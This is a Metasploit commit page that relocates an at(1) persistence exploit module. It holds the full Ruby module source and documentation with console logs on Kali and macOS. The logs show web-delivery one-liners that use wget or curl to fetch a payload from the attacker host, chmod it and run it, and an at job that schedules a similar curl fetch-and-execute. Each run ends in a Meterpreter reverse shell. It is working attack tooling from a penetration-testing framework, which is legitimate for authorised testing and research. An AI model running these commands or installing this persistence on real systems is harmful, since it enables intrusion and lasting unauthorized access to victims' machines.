Skip to content

Commit c901b5a

Browse files
authored
Land #20526, moves at_persistence to persistence category and mixin
Modern persistence: at
2 parents d3d2950 + 5abe0f5 commit c901b5a

File tree

4 files changed

+302
-104
lines changed

4 files changed

+302
-104
lines changed
Lines changed: 190 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,190 @@
1+
## Vulnerable Application
2+
3+
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
4+
with any UNIX-like operating system with `atd` running.
5+
6+
Verified on Kali linux and OSX 13.7.4
7+
8+
### OSX
9+
10+
In the case of OS X, the `atrun` service must be launched:
11+
12+
```
13+
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
14+
```
15+
16+
### Kali
17+
18+
`at` isn't installed by default. `sudo apt-get install at`.
19+
20+
## Verification Steps
21+
22+
1. Start msfconsole
23+
2. Exploit a box via whatever method
24+
3. Do: `use exploit/multi/persistence/at`
25+
4. Do: `set session #`
26+
5. `exploit`
27+
28+
29+
## Options
30+
31+
### TIME
32+
33+
When to run job via `at(1)`. Conforms to timespec. Examples can be found in the module's references.
34+
35+
## Scenarios
36+
37+
### Kali Linux
38+
39+
Initial access vector via web delivery
40+
41+
```
42+
[*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives.
43+
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg verbose true
44+
verbose => true
45+
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg lhost 192.168.10.144
46+
lhost => 192.168.10.144
47+
resource (/home/mtcyr/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
48+
[*] Using configured payload python/meterpreter/reverse_tcp
49+
resource (/home/mtcyr/.msf4/msfconsole.rc)> set srvport 8181
50+
srvport => 8181
51+
resource (/home/mtcyr/.msf4/msfconsole.rc)> set target 7
52+
target => 7
53+
resource (/home/mtcyr/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
54+
payload => linux/x64/meterpreter/reverse_tcp
55+
resource (/home/mtcyr/.msf4/msfconsole.rc)> set lport 4545
56+
lport => 4545
57+
resource (/home/mtcyr/.msf4/msfconsole.rc)> run
58+
[*] Exploit running as background job 0.
59+
[*] Exploit completed, but no session was created.
60+
[*] Starting persistent handler(s)...
61+
[*] Started reverse TCP handler on 192.168.10.144:4545
62+
[*] Using URL: http://192.168.10.144:8181/PaulWjhBSpRlqAz
63+
[*] Server started.
64+
[*] Run the following command on the target machine:
65+
wget -qO o20dAbhk --no-check-certificate http://192.168.10.144:8181/PaulWjhBSpRlqAz; chmod +x o20dAbhk; ./o20dAbhk& disown
66+
[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) >
67+
[*] 192.168.10.144 web_delivery - Delivering Payload (250 bytes)
68+
[*] Transmitting intermediate stager...(126 bytes)
69+
[*] Sending stage (3045380 bytes) to 192.168.10.144
70+
[*] Meterpreter session 1 opened (192.168.10.144:4545 -> 192.168.10.144:42442) at 2025-02-06 11:40:00 -0500
71+
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
72+
[*] Starting interaction with 1...
73+
(Meterpreter 1)(/tmp) > sysinfo
74+
Computer : 192.168.10.144
75+
OS : Debian (Linux 6.11.2-amd64)
76+
Architecture : x64
77+
BuildTuple : x86_64-linux-musl
78+
Meterpreter : x64/linux
79+
(Meterpreter 1)(/tmp) > background
80+
[*] Backgrounding session 1...
81+
```
82+
83+
Persistence
84+
85+
```
86+
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
87+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
88+
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set time "now +10 minutes"
89+
time => now +10 minutes
90+
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set session 1
91+
session => 1
92+
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > exploit
93+
[*] Command to run on remote host: curl -so ./tmoAoATss http://192.168.10.144:8080/aZRe4yWUN3U2-lDtdsaGlA;chmod +x ./tmoAoATss;./tmoAoATss&
94+
[*] Exploit running as background job 2.
95+
[*] Exploit completed, but no session was created.
96+
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > [*] Fetch handler listening on 192.168.10.144:8080
97+
[*] HTTP server started
98+
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
99+
[*] Started reverse TCP handler on 192.168.10.144:4444
100+
[*] Running automatic check ("set AutoCheck false" to disable)
101+
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
102+
[*] Writing payload to /tmp//YneHFC
103+
[*] Waiting for execution
104+
[*] Meterpreter-compatible Cleaup RC file: /home/mtcyr/.msf4/logs/persistence/192.168.10.144_20250206.4241/192.168.10.144_20250206.4241.rc
105+
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > date
106+
[*] exec: date
107+
Thu Feb 6 11:42:44 AM EST 2025
108+
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) >
109+
[*] Client 192.168.10.144 requested /aZRe4yWUN3U2-lDtdsaGlA
110+
[*] Sending payload to 192.168.10.144 (curl/8.11.1)
111+
[*] Transmitting intermediate stager...(126 bytes)
112+
[*] Sending stage (3045380 bytes) to 192.168.10.144
113+
[*] Meterpreter session 2 opened (192.168.10.144:4444 -> 192.168.10.144:36212) at 2025-02-06 11:52:00 -0500
114+
[msf](Jobs:3 Agents:2) exploit(multi/persistence/at) > date
115+
[*] exec: date
116+
Thu Feb 6 11:52:20 AM EST 2025
117+
```
118+
119+
### OSX 13.7.4
120+
121+
Initial access vector via web delivery
122+
123+
```
124+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
125+
verbose => true
126+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
127+
lhost => 111.111.1.111
128+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
129+
[*] Using configured payload python/meterpreter/reverse_tcp
130+
resource (/root/.msf4/msfconsole.rc)> set target 8
131+
target => 8
132+
resource (/root/.msf4/msfconsole.rc)> set srvport 8383
133+
srvport => 8383
134+
resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter_reverse_tcp
135+
payload => osx/x64/meterpreter_reverse_tcp
136+
resource (/root/.msf4/msfconsole.rc)> set lport 4747
137+
lport => 4747
138+
resource (/root/.msf4/msfconsole.rc)> set URIPATH m
139+
URIPATH => m
140+
resource (/root/.msf4/msfconsole.rc)> run
141+
[*] Exploit running as background job 0.
142+
[*] Exploit completed, but no session was created.
143+
[*] Starting persistent handler(s)...
144+
[*] Started reverse TCP handler on 111.111.1.111:4747
145+
[*] Using URL: http://111.111.1.111:8383/m
146+
[*] Server started.
147+
[*] Run the following command on the target machine:
148+
curl -sk --output y9D7PFJd http://111.111.1.111:8383/m; chmod +x y9D7PFJd; ./y9D7PFJd& disown
149+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (111.111.1.111:4747 -> 222.22.2.2:49164) at 2025-02-21 16:59:10 -0500
150+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
151+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
152+
[msf](Jobs:2 Agents:2) exploit(multi/persistence/at) > sessions -i 1
153+
[*] Starting interaction with 1...
154+
(Meterpreter 1)(/Users/macos) > getuid
155+
Server username: macos
156+
(Meterpreter 1)(/Users/macos) > sysinfo
157+
Computer : 20.20.20.21
158+
OS : macOS Ventura (macOS 13.7.4)
159+
Architecture : x86
160+
BuildTuple : x86_64-apple-darwin
161+
Meterpreter : x64/osx
162+
(Meterpreter 1)(/Users/macos) >
163+
```
164+
165+
Persistence
166+
167+
Already run: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist`
168+
169+
```
170+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set session 1
171+
session => 1
172+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set time now +2 minutes
173+
time => now +2 minutes
174+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set payload payload/osx/x64/meterpreter_reverse_tcp
175+
payload => osx/x64/meterpreter_reverse_tcp
176+
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > exploit
177+
[*] Exploit running as background job 1.
178+
[*] Exploit completed, but no session was created.
179+
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) >
180+
[*] Started reverse TCP handler on 111.111.1.111:4444
181+
[*] Running automatic check ("set AutoCheck false" to disable)
182+
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
183+
[*] Writing payload to /tmp/NBcqC
184+
[*] Writing '/tmp/NBcqC' (25 bytes) ...
185+
[*] Writing '/tmp/NBcqCmk' (815032 bytes) ...
186+
[+] at job created with id: 7
187+
[*] Waiting up to sec for execution
188+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/20.20.20.21_20250221.0028/20.20.20.21_20250221.0028.rc
189+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.22.2.2:49165) at 2025-02-21 17:02:29 -0500
190+
```

documentation/modules/exploit/unix/local/at_persistence.md

Lines changed: 0 additions & 32 deletions
This file was deleted.
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::FileDropper
11+
include Msf::Exploit::EXE # for generate_payload_exe
12+
include Msf::Exploit::Local::Persistence
13+
include Msf::Exploit::Local::Timespec
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
include Msf::Exploit::Deprecated
16+
moved_from 'exploits/unix/local/at_persistence'
17+
18+
def initialize(info = {})
19+
super(
20+
update_info(
21+
info,
22+
'Name' => 'at(1) Persistence',
23+
'Description' => %q{
24+
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
25+
with any UNIX-like operating system with atd running.
26+
Verified on Kali linux and OSX 13.7.4
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [
30+
'Jon Hart <[email protected]>'
31+
],
32+
'Targets' => [['Automatic', {} ]],
33+
'DefaultTarget' => 0,
34+
'Platform' => %w[unix linux osx],
35+
'Arch' => [
36+
ARCH_CMD,
37+
ARCH_X86,
38+
ARCH_X64,
39+
ARCH_ARMLE,
40+
ARCH_AARCH64,
41+
ARCH_PPC,
42+
ARCH_MIPSLE,
43+
ARCH_MIPSBE
44+
],
45+
'SessionTypes' => ['meterpreter', 'shell'],
46+
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
47+
'References' => [
48+
['URL', 'https://linux.die.net/man/1/at'],
49+
['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
50+
['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
51+
['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
52+
],
53+
'Notes' => {
54+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
55+
'Stability' => [CRASH_SAFE],
56+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
57+
}
58+
)
59+
)
60+
61+
register_options([
62+
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
63+
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
64+
])
65+
end
66+
67+
def check
68+
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
69+
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
70+
71+
return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'
72+
73+
# we do a direct test with atq instead of reading at.allow and at.deny
74+
token = Rex::Text.rand_text_alphanumeric(8)
75+
if cmd_exec("atq && echo #{token}").include?(token)
76+
return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
77+
end
78+
79+
CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
80+
end
81+
82+
def install_persistence
83+
fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
84+
payload_path = datastore['WritableDir']
85+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
86+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
87+
payload_path << payload_name
88+
vprint_status("Writing payload to #{payload_path}")
89+
90+
if payload.arch.first == 'cmd'
91+
upload_and_chmodx(payload_path, payload.encoded)
92+
else
93+
# because the payloads contents is imported into the at job, we use a stub to call our payload
94+
# as it doesn't like binary payloads directly
95+
payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
96+
# stub, but keep payload_path name for consistency
97+
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
98+
upload_and_chmodx(payload_path_exe, generate_payload_exe)
99+
@clean_up_rc << "rm #{payload_path_exe}\n"
100+
end
101+
102+
@clean_up_rc << "rm #{payload_path}\n"
103+
104+
job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
105+
job_id = job.split(' ')[1]
106+
print_good("at job created with id: #{job_id}")
107+
# this won't actually do anything since its not in a shell
108+
@clean_up_rc << "atrm #{job_id}\n"
109+
110+
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
111+
end
112+
end

0 commit comments

Comments
 (0)